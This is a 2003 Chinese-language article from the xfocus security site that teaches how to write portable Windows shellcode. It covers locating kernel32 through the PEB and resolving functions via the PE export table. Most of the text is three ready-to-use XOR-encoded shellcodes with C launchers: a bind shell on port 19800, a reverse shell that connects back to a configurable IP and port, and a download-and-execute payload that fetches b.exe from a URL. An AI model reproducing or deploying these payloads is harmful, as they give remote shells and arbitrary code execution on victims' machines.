xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

Shellcode编写技术


创建时间:2003-08-31
文章属性:原创
文章提交:jeno (xxgchappy_at_vip.sina.com)

作者:jeno
Email: jeno@vip.371.net
Time: 2003-8-31

Title:Shellcode编写技术

    前些日子在调试http://www.microsoft.com/technet/security/bulletin/MS03-015.asp
的时候遇到了比较苦恼的事情,那就是我通过覆盖了eip或者seh来得到执行代码的权利,但是
现在网上流行的shellcode不能满足我的要求,主要有以下几个方面:
1、不通用,一般只能在win2000下运行,很少可以在winxp,win2003下正常运行。
2、没有处理好程序退出问题,在ie溢出的时候同时把ie给异常结束了。
3、有些代码太长,甚至达到了1000字节以上。
4、再不同语言环境下可能不通用。

由于有了上面四点原因,我打算写个通用的shellcode来用。其实shellcode通不通用最重要的是
获得一些地址的方法,看了很多人写的shellcode总觉得不是太好,因为他们大都采用在peb中找
出kernel32的地址,然后在shellcode末尾有你需要函数的ascii码,通过搜索内存来找到地址,
我先说说为什么可以在peb中找到kernel32的地址:
1、fs指向teb结构
2、在teb+0x30地方指向peb结构
3、在peb+0x0c地方指向PEB_LDR_DATA结构
4、在PEB_LDR_DATA+0x1c地方就是一些动态连接库的地址了,如第一个指向ntdll.dll 第二个就
   是我们需要的kernel32.dll的地址
  
以下是汇编代码
mov eax, fs:0x30    
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd                
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

一般shellcode获得函数的方法用汇编表示如下:

search_function:

inc ebx
cmp [ebx], dl
jne  no_zero
inc  ecx
no_zero:
cmp [ebx], DWORD PTR 'PteG'
jne no_match
cmp [ebx+4], DWORD PTR 'Acor'
        jne no_match
        je  search_complete
no_match:
jmp search_function


ebx 中放的是 esi:0的东西一般是一个base address
如 db 0ffh,0ffh,0e8h,077h      ;Specify the Kernel Base @ 77e60000h
这就是造成一般shellcode不通用的主要原因(固定地址)

为了达到通用的目的我们必须分析pe文件格式,通过分析我们得到如下方法:
从PE EDT中获得函数地址
1、PE header offset =kernel32.dll base address+0x3c;
2、exports directory offset =kernel32.dll base address+PE header offset+120;
3、exports directory table=kernel32.dll base address+exports directory offset;
4、name pointers table =exports directory table+32;
5、然后再name pointers table中比较函数的名字(可以按名字比较,也可以把名字hash以下比较hash值)
6、ordinals table=exports directory table+36
7、ordinals table指向函数的地址,所以根据对应的序号通过ordinals table找到函数的地址

给出搜索汇编代码
        mov ebp, [somewhere]            kernel32.dll 基址
    mov eax, [ebp + 0x3c]        eax = PE header offset
    mov edx, [ebp + eax + 120]
    add edx, ebp                edx = exports directory table
    mov ecx, [edx + 24]            ecx = number of name pointers
    mov ebx, [edx + 32]
    add ebx, ebp                ebx = name pointers table
        dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp            esi 就是指向 name pointer
下面搜索就可以自己写了,天高任鸟飞!


心得:
    1、再写网络shellcode时最好加上WairForSingleObject
    2、不要忘了ExitProcess,可以避免很多程序错误。
    3、代码通过xor99后不要有0A,因为在ie溢出中会对0A转换成0D0A在copy字符串的时候就会缩短。
好了就写这些吧!希望对大家会有所启发!


附我写的三个通用shellcode:

1、bindport 19800

#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define    scport        19800
//don't change the offset


#define    port_offset    251
unsigned char jeno_bindport19800_sc[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xd9\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x18\x75\x19\x99\x99\x99\x12\x6D\x71"
"\xD5\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xFF\x98"
"\x99\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\xCE\x98\x99"
"\x99\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A"
"\x8F\x71\xAB\x98\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA"
"\x71\xBA\x98\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2"
"\x71\x8A\x98\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34"
"\x71\x9A\x98\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x3D\x83\xE9\x5E"
"\x71\x6A\x99\x99\x99\x10\xDF\xB9\x66\xEF\x9D\xF1\x3D\x34\xB7\x70"
"\x71\x7A\x99\x99\x99\x10\xDF\xBD\x66\xEF\x9D\xF1\x7C\xD0\x1F\xD0"
"\x71\x4A\x99\x99\x99\x10\xDF\xB1\x66\xEF\x9D\xF1\x7E\xE0\x5F\xE0"
"\x71\x5A\x99\x99\x99\x10\xDF\xB5\xAA\x66\x18\x75\x09\x98\x99\x99"
"\xCD\xF1\x98\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9"
"\xC9\x66\xCF\x85\x12\x41\xCE\xCE\xF1\x9B\x99\xd4\xc1\x12\x55\xF3"
"\x8F\xC8\xCA\x66\xCF\xB9\xCE\xCA\x66\xCF\xBD\xCE\xC8\xCA\x66\xCF"
"\xB1\x12\x49\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9"
"\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64"
"\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD"
"\xD1\x10\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8"
"\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55"
"\xF3\x66\x66\xA8\x66\xCF\x95\x12\x51\xCE\x66\xCF\xB5\x66\xCF\x8D"
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99";


//bindport 19800

int main(int argc, char **argv)
{


    WSADATA wsa;
    
    unsigned short    port;

    WSAStartup(MAKEWORD(2,2),&wsa);
    port = htons(scport)^(u_short)0x9999;
    memcpy(&jeno_bindport19800_sc[port_offset], &port, 2);
  
    

((void (*)(void)) &jeno_bindport19800_sc)();



}



2、Reverse shellcode  default connect back 127.0.0.1 1980



#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define   scip        "127.0.0.1"
#define    scport        1980
//don't change the offset
#define    ip_offset    201
#define    port_offset    208
unsigned char jeno_connectback_sc[]=
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x9f\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\xFF\x18\x75\x19\x99\x12\x6D\x71\x8A"
"\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xB4\x98\x99"
"\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\x87\x98\x99\x99"
"\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA"
"\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A\x8F"
"\x71\x60\x99\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA\x71"
"\x73\x99\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2\x71"
"\x43\x99\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34\x71"
"\x53\x99\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x75\x60\x33\xF9\x71"
"\x23\x99\x99\x99\x10\xDF\xB9\x18\x75\x09\x98\x99\x99\xCD\xF1\x98"
"\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF"
"\x85\x12\x41\x72\x9A\x66\xCF\x8D\xF1\xE6\x99\x99\x98\xF1\x9B\x99"
"\x9e\x25\x12\x55\xF3\x89\xC8\xCA\x66\xCF\xB9\x1C\x59\xEC\x7F\xF1"
"\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9\x1A\x5D\x35\x14"
"\xA5\xBD\xAA\x59\xAA\x50\x19\x70\x72\x32\x7B\x64\x5F\xDD\xBD\x89"
"\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD"
"\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98"
"\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55\xF3\x66\x66\xA8\x66"
"\xCF\x95\x12\x51\x72\x16\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59"
"\xE1\x95\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9"
"\xAD\x12\x31\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC"
"\xCF\xCE\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12"
"\xD3\x81\x12\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA"
"\x66\x65\xAA\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B"
"\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12"
"\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6"
"\xC7\xC4\xC2\x5B\x9D\x99";


main()
{
    WSADATA wsa;
    
    unsigned short    port;
    unsigned long ip;

    WSAStartup(MAKEWORD(2,2),&wsa);
    port = htons(scport)^(u_short)0x9999;
    ip = inet_addr(scip)^0x99999999;
    memcpy(&jeno_connectback_sc[port_offset], &port, 2);
    memcpy(&jeno_connectback_sc[ip_offset], &ip, 4);
    



((void (*)(void)) &jeno_connectback_sc)();
    

    return 0;
}



3、Download&&executeShellcode



#include <winsock.h>
#include <stdio.h>

unsigned char jeno_downloadfile_sc[]=

"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x3c\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x34\x99\x99\x99\xC3\x12\x6B\xAA"
"\x59\x35\xA4\x01\x99\x99\x99\xEC\x6F\x18\x75\x51\x99\x99\x99\x12"
"\x6D\x10\xCF\xBD\x71\x0C\x99\x99\x99\xAA\x42\x10\x9F\x66\xAF\xF1"
"\x17\xD7\x97\x75\x71\x34\x99\x99\x99\x10\xDF\x91\xF1\xF5\xF5\x99"
"\x99\xF1\xF6\xF7\xB7\xFD\xF1\xEC\xEB\xF5\xF4\xCD\x66\xCF\x91\x10"
"\xDF\x9D\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x11\x99\x99\x99\x10\xDF"
"\x95\x66\xAF\xF1\x01\x67\x13\x97\x71\xE0\x99\x99\x99\x10\xDF\x8D"
"\x66\xAF\xF1\xBC\x29\x66\x5B\x71\xF3\x99\x99\x99\x10\xDF\x81\x66"
"\xEF\x9D\xF1\xAF\x83\xB6\xE9\x71\xC3\x99\x99\x99\x10\xDF\x89\xF3"
"\xFC\xF1\xEA\xB7\xFC\xE1\x10\xFF\x85\x66\xEF\x85\x66\xCF\x81\xAA"
"\x50\xC8\xC8\x66\xEF\x85\x66\xEF\xBD\xC8\x66\xCF\x89\xAA\x50\xC8"
"\x66\xEF\x85\x66\xCF\x8D\x66\xCF\x95\x70\x19\x99\x99\x99\xCC\xCF"
"\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12\xE9\x85"
"\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99\x99\x12"
"\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC"
"\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A"
"\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED"
"\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3"
"\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A"
"\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99\x71\x50"
"\x67\x66\x66"
"http://127.0.0.1/b.exe"
"\x98";


main()
{
  
((void (*)(void)) &jeno_downloadfile_sc)();
    
    return 0;
}




end.